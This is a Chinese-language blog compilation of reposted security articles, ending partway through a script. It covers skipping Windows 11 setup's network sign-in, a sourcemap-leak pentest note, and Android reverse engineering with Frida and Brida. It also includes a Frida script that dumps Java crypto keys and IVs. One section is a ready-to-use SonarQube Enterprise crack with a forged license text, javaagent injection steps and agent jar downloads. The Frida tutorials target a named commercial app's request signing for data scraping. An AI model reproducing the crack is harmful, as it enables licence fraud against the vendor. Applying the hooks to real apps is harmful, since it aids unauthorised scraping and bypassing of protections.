win11系统第一次开机跳过联网的办法(3种方法)

win11系统第一次开机跳过联网的办法(3种方法)

本文转自jaray 并作补充

预装Win11家庭中文版由于微限制必须要联网激活,需要使用微软账户登入才可以继续开机过程,联网后系统会自动激活。

  新电脑,安装以后,会要求激活,我打电话问了厂家,居然告诉我,让我用新电脑连手机,使用手机的热点,去激活电脑。在没有网络的情况下,现在连电脑都无法激活,厂家这么说,我不知道是他们不愿意说,还是真的不知道,我是无法相信这种说法,我在网上搜了很多方法,带图的,结束“调出任务管理器找到 Network Connection Flow进程”,这种方法是不行的,根本没有这个进程。

  还有一种方法是:打开任务管理器,这个打开方法下面有,简单看完各个硬件参数,这个方法也扯了。

  由于很多厂家基本都是联网后就不符合无理由退货的条件了,所以我整理了以下的几种跳过联网的办法,可以参考。

一、win11初次开机跳过联网激活方法1

1、按下Shift+F10或者是Fn+Shift+F10快捷键调出命令提示符窗口;

2、输入taskmgr,并按下回车键;

3、接着就会出现任务管理器页面,我们点击“详细信息”;

4、找到“Network Connection Flow”进程或者是“网络连接流”进程,点击“结束任务”;

5、这样就可以跳过联网;

6、这种方法就是上面我提到过的方法,我这台电脑也不行。

二、win11初次开机跳过联网激活方法2

1、首次进入Windows11家庭版系统并进行设置,到联网界面,按下【Shift+F10】快捷键(无效可试下【FN+Shfit+F10】)

2、在出现的命令提示符页面输入OOBE\BYPASSNRO,按回车键,等待电脑重启完成

3、重启后,在联网界面会有“我没有Internet连接”选项,点击此选项即可跳过联网

三、通过修改注册表跳过联网界面3

1、按Shift键+F10键(不成功按Fn+Shift+F10);

2、弹出命令提示符窗口,输入regedit回;

3、然后在打开的注册表编辑器界面中,找到下方路径——计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE

4、接下来在注册表的右侧空白处鼠标右键,在弹出的右键菜单项中,新建一个DWORD(32位)值(D)。新建的值重命名为: BypassNRO,双击打开BypassNRO这个值,然后在编辑DWORD(32位)值窗口,将数值数据修改为【1】,再点击【确定】;

5、最后在cmd窗口再输入命令:logoff,回车;

6、可以跳过联网。

end.

sourcemap文件泄露漏洞

sourcemap文件泄露漏洞

本文转自小心灵呀 并作补充

最近进行渗透测试时,时常遇到xray扫出sourcemap文件,每次扫到都要百度,因此做个笔记。

漏洞原理

在日常测试时,经常会遇到以js.map为后缀的文件
这是jQuery中的一个新功能,支持Source Map
非常多Webpack打包的站点都会存在js.map文件.
通过sourcemap可还原前端代码找到API,间接性获取未授权访问漏洞

什么是Source map
简单说,Source map就是一个信息文件,里面储存着位置信息。转换后的代码的每一个位置,所对应的转换前的位置。
有了它,出错的时候,除错工具将直接显示原始代码,而不是转换后的代码,这无疑给开发者带来了很大方便。

漏洞复现

使用xray扫到 dirscan/sourcemap/default 漏洞。

image

直接访问链接可下在sourcemap文件,利用该文件还原源代码需使用reverse-sourcemap工具。
先安装:nodejs,
下载地址:https://nodejs.org/zh-cn/download/
选择适合自己操作系统的版本:

image

双击下载后的文件,一路点击 next即可成功安装

image

安装完nodejs后,控制台输入:

1
npm -v

即可查看安装的版本。

image

然后安装 reverse-sourcemap

1
npm install --global reverse-sourcemap

安装完成(PS:我电脑中已经有reverse-sourcemap,所以大家如果为初次安装看到信息可能跟我不一样)。

image

安装完成后,将其加入环境变量

image

检查是否安装成功:

1
reverse-sourcemap -h

安装成功

image

还原map文件

1
reverse-sourcemap -v ****.js.map -o output

map文件会还原到 output文件

同时还可以通过浏览器,开发者模式-source模块查看前端源代码

image

漏洞修复

临时的解决方法就是删除代码目录下的.map文件;
永久的解决方法就是在build的时候禁用产生map文件的功能;
在scripts/build下的build.js 文件中添加如下配置:
process.env.GENERATE_SOURCEMAP = ‘false’;
重新build就不会再产生sourcemap文件了

参考资料

如何还原前端代码

SonarQube-破解

SonarQube-破解

本文转自ny0c 并作补充

新版SonarQube破解

软件版本: sonarqube-9.8.0.63668
Java版本: jdk11
Agent版本: 1.2

帖子上有人求新版破解,花了点时间搞定了通杀的,已经测试过8.9.8 LTS跟9.8.0最新版(笔者注:事实上10.x的版本也可以进行破解)

使用说明

1、把下列信息全部复制,然后base64加密后的内容就是license,注意要包括换行

1
2
3
4
5
6
7
8
9
10
11
Company=Unknown
Digest=NotRequired
Edition=Enterprise
EditionLabel=Enterprise
Expiration=2099-01-01
MaxLoc=9223372036854775806
Plugins=abap,cpp,plsql,security,sonarapex,swift,tsql,vbnet,cobol,pli,rpg,vb
Features=*
ServerId=*
Support=false
Type=ny0c

image

2、修改SonarQube启动参数
解压从官方下载压缩包,根据自身需求配置好数据库链接
然后修改sonarqube-版本号/conf/sonar.properties的内容
其中

1
#sonar.web.javaOpts=-Xmx1G -Xms128m -XX:+HeapDumpOnOutOfMemoryError

改成

1
sonar.web.javaOpts=-javaagent:/你的agent目录/SonarQubeAgent-1.2-SNAPSHOT.jar -Xmx1G -Xms128m -XX:+HeapDumpOnOutOfMemoryError

以及

1
#sonar.ce.javaOpts=-Xmx2G -Xms128m -XX:+HeapDumpOnOutOfMemoryError

改成

1
sonar.ce.javaOpts=-javaagent:/你的agent目录/SonarQubeAgent-1.2-SNAPSHOT.jar -Xmx2G -Xms128m -XX:+HeapDumpOnOutOfMemoryError

3、启动sonarqube
根据官方文档设置好sonarqube后,直接sonar.sh console启动控制台模式,看到app[][o.s.a.SchedulerImpl] Process[web] is up后,sonarqube启动成功

4、设置license
浏览器打开 http://sonarqube-IP地址:sonarqube-端口/ 设置或者登录sonarqube,然后点击最顶上的Administration选项卡,然后点击下面的Configuration,选择License Manager,接着设置License即可

image

旧帖

SonarQube其实很早之前就被我刀了,一直没有机会放出来,理论上能干整个 8.9.x LTS,具体版本是enterprise.

说实在的,看雪真是好地方啊,今天burp破解秒审核通过,那这个我也发了把,具体思路不大记得了,反正也是挺痛苦的过程,等我有时间再补把.

原版 SonarQube Enterprise Edition 8.9.8 LTS下载地址

用法很简单,直接加个javaagent到sonarqube-xxxx/conf/sonar.properties里面,注意web跟ce两个地方都要加

License编码方式
请保留换行,然后整体base64即可

补个图把

image

image

老规矩,不混淆,不加密,有兴趣的自己拆来看.

上传的附件

SonarQubeAgent-1.1-SNAPSHOT.jar

SonarQubeAgent-1.2-SNAPSHOT.jar

SonarQubeAgent-1.2-src.zip

安卓逆向 - Frida Hook(抓包实践)

安卓逆向 - 基础入门教程

本文转自小馒头yy 并作补充

一、引言

上篇文章:安卓逆向 - 基础入门教程_小馒头yy的博客-CSDN博客 介绍了Frida的安装、基本使用,今天我们来看看Frida常用Hook和基于Frida抓包实践。

二、Frida常用 Hook脚本

1、hook java.net.URL

1
2
3
4
5
6
7
8
function hook1() {
var URL = Java.use('java.net.URL');
URL.$init.overload('java.lang.String').implementation = function (a) {
console.log('加密前:' + a)
showStacks()
this.$init(a)
}
}

2、hook okhttp3 HttpUrl

1
2
3
4
5
6
7
8
9
10
function hookOkhttp3() {
var Builder = Java.use('okhttp3.Request$Builder');
Builder.url.overload('okhttp3.HttpUrl').implementation = function (a) {
console.log('a: ' + a)
var res = this.url(a);
showStacks()
console.log("res: " + res)
return res;
}
}

3、hook okhttp3 addHeader

1
2
3
4
5
6
7
8
9
10
11
function hook() {
var Builder = Java.use("okhttp3.Request$Builder");
Builder["addHeader"].implementation = function (str, str2) {
console.log("key: " + str)
console.log("val: " + str2)
showStacks()
var result = this["addHeader"](str, str2);
console.log("result: " + result);
return result;
};
}

4、打印堆栈

1
2
3
4
5
function showStacks() {
Java.perform(function () {
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()));
});
}

5、hook Base64

1
2
3
4
5
6
7
8
9
function hookBase() {
// Base64
var Base64Class = Java.use("android.util.Base64");
Base64Class.encodeToString.overload("[B", "int").implementation = function (a, b) {
var rc = this.encodeToString(a, b);
console.log(">>> Base64 " + rc);
return rc;
}
}

6、hook HashMap

1
2
3
4
5
6
7
8
function hookMap() {
var Build = Java.use("java.util.HashMap");
Build["put"].implementation = function (key, val) {
console.log("key : " + key)
console.log("val : " + val)
return this.put(key, val)
}
}

三、某麦网抓包实践

本篇以某麦网帖子详情接口,演示如何基于Frida hook抓包

1、安装某麦网8...apk

2、搭建Frida hook 环境,注入 hook java.net.URL脚本

3、点进帖子详情打印出如下堆栈,我们可以根据打印出的信息,跟栈分析该接口的请求头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
https://acs.m.taobao.com/gw/mtop.damai.wireless.discovery.detail.get/1.4/?source=10101&version=6000168&type=originaljson&data=%7B%22contentId%22%3A%2211088650%22%2C%22appType%22%3A%221%22%2C%22source%22%3A%2210101%22%2C%22osType%22%3A%222%22%2C%22pageSize%22%3A%2230%22%2C%22pageIndex%22%3A%221%22%2C%22version%22%3A%226000168%22%2C%22channel_from%22%3A%22damai_market%22%7D&appType=1&osType=2&channel_from=damai_market
java.lang.Exception
at java.net.URL.<init>(Native Method)
at tb.yy0.m(Taobao:1)
at anet.channel.request.a.p(Taobao:2)
at anet.channel.session.TnetSpdySession.w(Taobao:18)
at anetwork.channel.unified.NetworkTask.sendRequest(Taobao:6)
at anetwork.channel.unified.NetworkTask.run(Taobao:44)
at anetwork.channel.unified.UnifiedRequestTask$a.proceed(Taobao:15)
at com.taobao.orange.sync.NetworkInterceptor.intercept(Taobao:30)
at anetwork.channel.unified.UnifiedRequestTask$a.proceed(Taobao:7)
at anetwork.channel.unified.UnifiedRequestTask$3.run(Taobao:2)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:428)
at java.util.concurrent.FutureTask.run(FutureTask.java:237)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1133)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:607)
at java.lang.Thread.run(Thread.java:761)

4、使用Jadx打开某麦网apk

从at tb.yy0.m(Taobao:1)跟栈分析

image

根据调用栈往上走,定位到如下位置,注意这行代码:

1
ALog.f("awcn.TnetSpdySession", "", aVar.n(), "request headers", aVar.g());

image

代码注释很清楚了 request headers,我们跟进 hook aVar.g() 这个方法

1
2
3
public Map<String, String> g() {
return Collections.unmodifiableMap(this.f);
}

hook之,对象输出可以使用 JSONObject转一下

1
var JSONObject = Java.use("com.alibaba.fastjson.JSONObject");
1
2
3
4
5
6
7
8
9
function hook6() {
var JSONObject = Java.use("com.alibaba.fastjson.JSONObject");
var a = Java.use("anet.channel.request.a");
a["g"].implementation = function () {
var result = this["g"]();
console.log("result : " + JSONObject.toJSON(result).toString());
return result;
};
}

打印出如下内容:

image

请求 URL、 请求方法这边都写得很清楚啦。

image

收工!

安卓逆向 - 基础入门教程

安卓逆向 - 基础入门教程

本文转自小馒头yy 并作补充

一、引言

1、我们在采集app数据时,有些字段是加密的,如某麦网x-mini-wua x-sgext x-sign x-umt x-utdid等参数,这时候我们需要去分析加密字段的生成。本篇将以采集的角度讲解入门安卓逆向需要掌握的技能、工具。

2、安卓(Android)是一种基于Linux内核操作系统,架构图(了解即可)

image

3、安卓应用程序使用JAVA语言编写(重要),作为一名安卓逆向人员我们必须掌握Java语言基础(基本语法、类、接口、面向对象、网络类库、加密解密等等)

4、安卓逆向是对已经打包好的APP进行反编译,分析源码了解应用逻辑的一门技术,这一部分我们需要学习静态分析,动态分析。各种反编译工具(推荐 jadx),Frida Hook。

二、静态分析,学习jadx反编译

1、安装jadx,github地址: Releases · skylot/jadx · GitHub,下载 jadx-1.4.7.zip 解压即可。

image

2、调整jadx最大内存,打开bin目录下的 jadx-gui.bat文件,搜索DEFAULT_JVM_OPTS。

将 -XX:MaxRAMPercentage=70.0 修改成 -Xmx16g

image

3、jadx使用,打开apk,jadx会自动反编译apk

image

全局搜索:点击左上角的导航 - 文本搜索,输入关键字,并且下方可以筛选检索的位置

image

根据关键字定位到关键代码后,我们就可以进行分析加密参数的生成啦。

三、动态分析,Frida 初使用

1、安装 adb (Android Debug Bridge),通过命令行使用adb,对安卓设备进行操作

2、下载模拟器,我使用的逍遥模拟器 (有Root好的真机更棒)

模拟器启动后,在命令行依次执行命令:

1
2
3
4
adb forward tcp:27043 tcp:27043
adb forward tcp:27042 tcp:27042
adb connect 127.0.0.1:21503
adb devices

再执行 adb shell,即可进入模拟器, #字符代表已 Root

image

3、安装Frida

本地直接使用 pip install frida 命令安装 (需有Python环境)

模拟器(手机)端下载对应的Frida-server: Releases · frida/frida · GitHub

低版本安卓推荐下载:12.8.13,高版本安卓直接下载最新版

模拟器是 x86架构,真机是 arm架构,请下载对应的 frida-server

4、开启Hook,动态分析应用运行时数据

  • 将frida-server传到手机 /data/local/tmp 目录,转到本地frida-server存放的目录,依次执行以下命令
1
2
3
4
5
adb push frida-server-12.8.13-android-x86 /data/local/tmp
adb shell
cd /data/local/tmp
chmod 777 frida-server-12.8.13-android-x86
./frida-server-12.8.13-android-x86
  • 编写 hook脚本,使用js方式启动,本例为 hook URL的构造方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function hook1(){
var URL = Java.use('java.net.URL');
URL.$init.overload('java.lang.String').implementation= function(a){
console.log('加密前:'+a)
console.log(' ')
this.$init(a)
}
}

function main(){
Java.perform(function(){
hook();
})
}


setImmediate(main);
  • 开始 hook,注意高版本 frida不需要带 –no-pause
1
frida -U -l dm_hook.js -f cn.damai --no-pause

其中 dm_hook.js是 hook脚本的文件名,cn.damai是apk的包名。

滑动应用,正常打印出 url信息。

Burpsuite插件-Brida

Burpsuite插件-Brida

本文转自sam.li 并作补充

通过一道CTF题目来认识一下Frida
objection
前面两篇通过对Frida的了解,以及利用objection来分析,这篇来了解一下分析后实际利用,以及通过实现插件自动化的方式来利用。

Brida介绍

https://github.com/federicodotta/Brida

Brida components

image

官方使用文档翻译

时间记录,20230725;

测试版本:0.5

虽然说官方文档是最新的,但是使用文档的截图依旧跟新版本的插件不一致,然后能够查到的资料也是比较久的内容,不过大体功能是差不多,但是还是自己操作一遍后记录一下相关问题;

这里只记录自己测试的环境,其他环境参考官方文档;

Android

  1. 安装frida和其server,并启动具体可以参考通过一道CTF题目来认识一下Frida
  2. 配置brida

在配置之前先简单了解一下brida的UI及其功能;

image

1 主面板

这里包含所有brida工具和配置

  1. Configurations
  2. JS Editor
  3. Hooks and functions
  4. Graphical analysis
  5. Graphical hooks
  6. Custom plugins
  7. Generate stubs
  8. Debug export

2 brida按钮面板

Brida按钮面板由三个不同的部分组成:

  • 顶部(前两行)是 Pyro4 服务器的状态(启动/停止)和应用程序的状态(hook状态)
  • (在两条黄线上方的按钮)在中间有一组固定在Brida所有选项卡上的按钮。这些按钮用于执行常规任务,如启动/停止 Pyro4 服务器、生成/附加/停止/分离应用程序(使用 frida-compile 编译)、重新加载 JS 文件、编译重新加载JS、分离所有hook、清除log等。
  • (黄线下)底部有一组按钮,取决于特定的Brida子选项卡

3 brida控制台

log输出

brida工具介绍

Configurations

配置界面

从上往下依次是

  1. Pyro服务状态
  2. 应用状态
  3. 是否使用虚拟的python环境
  4. python可以执行文件的路径
  5. Pyro服务地址(默认)
  6. Pyro端口(默认)
  7. frida-complile可以执行文件的路径
  8. 是否使用旧版本的frida-complile,尽量使用10以下的版本,一开始用默认版本会出现问题,hook上了,但是总有奇怪的报错
  9. 包含所有Brida JS文件的文件夹,第一次需要先生成一下默认的JS文件
  10. 需要hook的应用名/PID,如果为应用名,则在连接的时候是点按钮面板的Spawn application,如果为PID,则Attach;
  11. Frida连接方式
  12. 如果配置是远程连接frida,需要配置对应的地址和端口;

image

JS Editor

image

集成到Burp Suite中的JS编辑器,以便能够编辑Brida JS文件并直接从Burp Suite添加自定义hook和导出函数。编辑器具有JS语法突出显示。

Hooks and functions

image

此选项卡包括许多默认hooks和方法,可以通过按钮启用/执行。这些Frida脚本包括最新的Android和iOS平台的hook能力,以绕过和检查安全功能。

Graphical analysis

image

Graphical analysis

这里功能类似于objection的能力集成进来:

1
2
3
4
5
6
7
8
load tree = android hooking list classes //展示所有class 

搜索 = android hooking search methods [search_name] //在内存中所有已加载的方法中搜索包含特定关键词的方法
//但是这里Android的用起来会导致应用闪退,官方提了这个,只有iOS支持;

双击对应的class = android hooking watch class com.xxx.xxx //hook指定类, 会打印该类下的所以调用
右键Inspect = android hooking watch class_method com.xxx.xxx.methodName --dump-args --dump-backtrace --dump-return //hook指定类, 会打印该类下的所以调用
右键change return vule = android hooking set return_value com.xxx.xxx.methodName false //设置返回值

实际使用

参考:通过一道CTF题目来认识一下Frida

对函数进行打印,然后替换返回值,但是这里官方提供的返回值没有byte

image

Graphical hooks

image

管理之前hook的所有内容;

Custom plugins

image

强大的功能;

可以理解成自定义生成burpsuite插件,有四种可自定义插件类型;

  • IHttpListener:能让所有请求,通过正则匹配去替换/修改指定的内容,并让这个匹配到的内容通过frida构造的hook脚本处理(加解密、重新生成sign等)
  • IMessageEditorTab:将自定义选项卡添加到Burp Suite请求/响应窗格,以便能够使用Frida导出的函数解密/解码/处理请求/响应(或其中的一部分)(然后加密/编码/处理修改并替换原始请求/响应,如果有)
  • IContextMenu:将自定义上下文菜单选项添加到Burp Suite的右键菜单中,用于在请求和响应(或其中的一部分)上调用Frida导出的函数
  • JButton:添加调用/启用 Frida 导出函数的按钮

Generate stubs

image

如果内部自定义插件引擎无法解决复杂情况,则可以从外部Burp Suite插件使用Brida引擎。此选项卡生成 Java 和 Python 存根,可以复制并粘贴到外部插件中,以便允许 Burp Suite 和 Frida 使用 Brida 进行通信。

Debug export

image

此选项卡可用于在 Brida 插件中使用 Frida 导出的函数之前对其进行调试。为了使用 Brida 自定义插件(或使用 Brida 的外部插件),有必要将 Frida 代码放入一些由插件调用的 Frida 导出函数中。在此选项卡中,可以直接调用 Frida 导出,以便轻松调试。

使用问题记录

Windows环境

Spawn/Attach application时报错:entrypoint must be inside the project root
【移动安全】Frida + Burp -> Brida | APP加解密 | CN-SEC 中文网

把Frida的js文件放到burpsuite应用的目录下;

在Debug export中Run export是报错[frida.core.RPCException] unable to find method ‘test’
排查了很久,只找到了frida-compile版本过高这种情况,只能测试一下低版本是否会有问题,用npm在burpsuite应用的目录下执行npm install frida-compile@9.5.2,然后将安装的目录配置到frida-compile path中就能解决;

使用了低版本的frida-compile后报错java.io.IOException: Cannot run program

1
2
"C:\AAAA\agent\BurpSuiteCommunity\node_modules\.bin\frida-compile": 
CreateProcess error=193, %1 不是有效的 Win32 应用程序。

一开始配置没有带.cmd

image

image

image

UnicodeEncodeError: ‘gbk’ codec can’t encode

1
character '\u03f1' in position 49: illegal multibyte sequence**

刚好遇到一个反编译后用中文混淆的,这里用objection和python执行相关处理的时候就会报编码错误,在对应路径相关代码输出处加上utf-8编码输出就能解决;然后objection需要修改后重新编译;

image

源码解析

java调用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# -*- coding: utf-8 -*-
import frida
import codecs
import Pyro4
import sys

#reload(sys)
#sys.setdefaultencoding('utf-8')

class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def writelines(self, datas):
self.stream.writelines(datas)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)

@Pyro4.expose
class BridaServicePyro:
def __init__(self, daemon):
self.daemon = daemon

def attach_application(self,pid,frida_script,device,host_port_device_id):

self.frida_script = frida_script

if pid.isnumeric():
self.pid = int(pid)
else:
self.pid = pid

if device == 'remote':
self.device = frida.get_remote_device()
elif device == 'usb':
self.device = frida.get_usb_device()
elif device == 'local':
self.device = frida.get_local_device()
elif device == 'device':
self.device = frida.get_device(host_port_device_id)
else:
self.device = frida.get_device_manager().add_remote_device(host_port_device_id)

self.session = self.device.attach(self.pid)

with codecs.open(self.frida_script, 'r', 'utf-8') as f:
source = f.read()

self.script = self.session.create_script(source)
self.script.load()

return

def spawn_application(self,application_id,frida_script,device,host_port_device_id):

self.application_id = application_id
self.frida_script = frida_script

if device == 'remote':
self.device = frida.get_remote_device()
elif device == 'usb':
self.device = frida.get_usb_device()
elif device == 'local':
self.device = frida.get_local_device()
elif device == 'device':
self.device = frida.get_device(host_port_device_id)
else:
self.device = frida.get_device_manager().add_remote_device(host_port_device_id)

self.pid = self.device.spawn([self.application_id])

self.session = self.device.attach(self.pid)

with codecs.open(self.frida_script, 'r', 'utf-8') as f:
source = f.read()

self.script = self.session.create_script(source)
self.script.load()

return

def resume_application(self):

self.device.resume(self.pid)

return

def reload_script(self):

with codecs.open(self.frida_script, 'r', 'utf-8') as f:
source = f.read()

self.script = self.session.create_script(source)
self.script.load()

return

def disconnect_application(self):

self.device.kill(self.pid)
return

def detach_application(self):

self.session.detach()
return

def callexportfunction(self, methodName, args):
method_to_call = getattr(self.script.exports, methodName)

# Take the Java list passed as argument and create a new variable list of argument
# (necessary for bridge Python - Java, I think)
s = []
for i in args:
s.append(i)

return_value = method_to_call(*s)
return return_value

@Pyro4.oneway
def shutdown(self):
print('shutting down...')
self.daemon.shutdown()

# Disable python buffering (cause issues when communicating with Java...)
sys.stdout = Unbuffered(sys.stdout)
sys.stderr = Unbuffered(sys.stderr)

host = sys.argv[1]
port = int(sys.argv[2])
daemon = Pyro4.Daemon(host=host,port=port)

#daemon = Pyro4.Daemon(host='127.0.0.1',port=9999)
bs = BridaServicePyro(daemon)
uri = daemon.register(bs,objectId='BridaServicePyro')

print("Ready.")
daemon.requestLoop()

brida从0配置

brida从0配置

本文转自how=time 并作补充

前言

因为最近测的一个app,做了ssl pinning。查了一下资料,可以使用frida从内存中hook
住加密函数,用来解密传输信息。而brida是连接frida与burp的桥梁。使用了brida就可以正常使用burp抓取加密数据包。而网上关于brida的安装环境都不是最新的。brida原本默认是py2的,现在0.4版本已经支持py3的环境。接下来,我就带大家从0开始安装环境吧。

基础环境

  • 系统 win10
  • python 3.8.3
  • java 13
  • 夜神模拟器 android版本7.0
  • burp 2020.5 crack
  • node 14.4.0

基本上是一个全新的环境。adb,frida也都没有配置。问题不大。

设置与准备

1.brida下载安装

github上的release

此时两个status还未启动起来,那需要我们去配置frida的环境了。

或者burpsuite中BAPP store安装

2.adb设置

adb是连接模拟器和电脑的桥梁

adb的版本需要和nox的版本一致。我们可以直接使用everything去查找nox的adb,然后配置环境变量即可。

3.frida设置

frida分为server和client

客户端安装frida

这一步比较容易,pip安装即可

我们可以设置pip国内源来加快安装

1.进入c盘用户文件夹,新建pip的目录。pip目录下新建pip.ini的文件。

2.在pip.ini中添加下面代码:

1
2
3
4
5
6
[global]
timeout=6000
index-url=https://pypi.tuna.tsinghua.edu.cn/simple
trusted-host=pypi.tuna.tsinghua.edu.cn

# pip源同样适用python3和python2。(适用python2的firda下载包时可能会出现卡死,可以试试这个方法改善)
安装第三方库
1
2
3
pip install Pyro4
pip install frida-tools
npm install frida-compile #这个生成frida-conpile.cmd.burpsuite中需要填写frida compile path

服务端安装frida

查看模拟器cpu版本

1
getprop ro.product.cpu.abi

根据cpu版本选择frida-server

将下载好的文件解压并放入/data/local/tmp 模拟器中。在adb 进入模拟器,文件赋值777后启动server

1
2
3
4
5
adb push C:\Users\howti\Desktop\frida-server-12.9.7-android-x86 /data/local/tmp
adb shell
cd /data/local/tmp/
chmod 777 frida-server-12.9.7-android-x86
./frida-server-12.9.7-android-x86

android版本最好使用android7,不然会一些报错。

什么都不显示即可

将frida端口转发

1
2
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043

4.burp设置

设置代理

设置brida

  • Python binary path: 就填入python3的路径(使用brida0.4就可以支持py3)
  • Pyro host: 默认
  • Pyro port: 默认
  • frida-compile: (frida-compile的二进制文件的路径)之前npm安装的包,里面有frida-compile.cmd .使用everything搜索frida 然后填入.
  • Frida JS files folder: 包含带有所有Frida和Brida钩子和导出文件的Frida工具JavaScript文件的文件夹的路径。我们可以使用默认文件夹

运行brida

我之前的环境找不到了,我用自己本机的环境结个图吧

  • 获取 android包名

  • 启动server 和Spawn application

正常启动,全绿。
配置完成
这里给出一件启动server的脚本(图中用的startfridaservice.py)
python3 startfridaserver.py 即可

链接:https://pan.baidu.com/s/11IdhpG8I5vMb1q33-7C4qg
提取码:46c0

Frida java层自吐加密算法

Frida java层自吐加密算法

本文转自愧怍 并作补充

代码

针对 java 层加密算法,能 hook 到 java 自带的加密函数库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
const config = {
showStacks: false,
showDivider: true,
}

Java.perform(function () {
// console.log('frida 已启动');
function showStacks(name = '') {
if (config.showStacks) {
console.log(Java.use('android.util.Log').getStackTraceString(Java.use('java.lang.Throwable').$new(name)))
}
}

function showDivider(name = '') {
if (config.showDivider) {
console.log(`==============================${name}==============================`)
}
}

function showArguments() {
console.log('arguments: ', ...arguments)
}

const ByteString = Java.use('com.android.okhttp.okio.ByteString')
const Encode = {
toBase64(tag, data) {
console.log(tag + ' Base64: ', ByteString.of(data).base64())
// console.log(tag + ' Base64: ', bytesToBase64(data));
},
toHex(tag, data) {
console.log(tag + ' Hex: ', ByteString.of(data).hex())
// console.log(tag + ' Hex: ', bytesToHex(data));
},
toUtf8(tag, data) {
console.log(tag + ' Utf8: ', ByteString.of(data).utf8())
// console.log(tag + ' Utf8: ', bytesToString(data));
},
toAll(tag, data) {
Encode.toUtf8(tag, data)
Encode.toHex(tag, data)
Encode.toBase64(tag, data)
},
toResult(tag, data) {
Encode.toHex(tag, data)
Encode.toBase64(tag, data)
},
}

const MessageDigest = Java.use('java.security.MessageDigest')
{
let overloads_update = MessageDigest.update.overloads
for (const overload of overloads_update) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
Encode.toAll(`${algorithm} update data`, arguments[0])
return this.update(...arguments)
}
}

let overloads_digest = MessageDigest.digest.overloads
for (const overload of overloads_digest) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.digest(...arguments)
if (arguments.length === 1) {
Encode.toAll(`${algorithm} update data`, arguments[0])
} else if (arguments.length === 3) {
Encode.toAll(`${algorithm} update data`, arguments[0])
}

Encode.toResult(`${algorithm} digest result`, result)
return result
}
}
}

const Mac = Java.use('javax.crypto.Mac')
{
Mac.init.overload('java.security.Key', 'java.security.spec.AlgorithmParameterSpec').implementation = function (key, AlgorithmParameterSpec) {
return this.init(key, AlgorithmParameterSpec)
}
Mac.init.overload('java.security.Key').implementation = function (key) {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const keyBytes = key.getEncoded()
Encode.toAll(`${algorithm} init Key`, keyBytes)
return this.init(...arguments)
}

// let overloads_update = Mac.update.overloads;
// for (const overload of overloads_update) {
// overload.implementation = function () {
// const algorithm = this.getAlgorithm();
// showDivider(algorithm);
// showStacks(algorithm);
// Encode.toAll(`${algorithm} update data`, arguments[0]);
// return this.update(...arguments);
// };
// }

let overloads_doFinal = Mac.doFinal.overloads
for (const overload of overloads_doFinal) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.doFinal(...arguments)
if (arguments.length === 1) {
Encode.toAll(`${algorithm} update data`, arguments[0])
} else if (arguments.length === 3) {
Encode.toAll(`${algorithm} update data`, arguments[0])
}

Encode.toResult(`${algorithm} doFinal result`, result)
return result
}
}
}

const Cipher = Java.use('javax.crypto.Cipher')
{
let overloads_init = Cipher.init.overloads
for (const overload of overloads_init) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)

if (arguments[0]) {
const mode = arguments[0]
console.log(`${algorithm} init mode`, mode)
}

if (arguments[1]) {
const className = JSON.stringify(arguments[1])
// 安卓10以上私钥是有可能输出不了的
if (className.includes('OpenSSLRSAPrivateKey')) {
// const keyBytes = arguments[1];
// console.log(`${algorithm} init key`, keyBytes);
} else {
const keyBytes = arguments[1].getEncoded()
Encode.toAll(`${algorithm} init key`, keyBytes)
}
}

if (arguments[2]) {
const className = JSON.stringify(arguments[2])
if (className.includes('javax.crypto.spec.IvParameterSpec')) {
const iv = Java.cast(arguments[2], Java.use('javax.crypto.spec.IvParameterSpec'))
const ivBytes = iv.getIV()
Encode.toAll(`${algorithm} init iv`, ivBytes)
} else if (className.includes('java.security.SecureRandom')) {
}
}

return this.init(...arguments)
}
}

// let overloads_update = Cipher.update.overloads;
// for (const overload of overloads_update) {
// overload.implementation = function () {
// const algorithm = this.getAlgorithm();
// showDivider(algorithm);
// showStacks(algorithm);
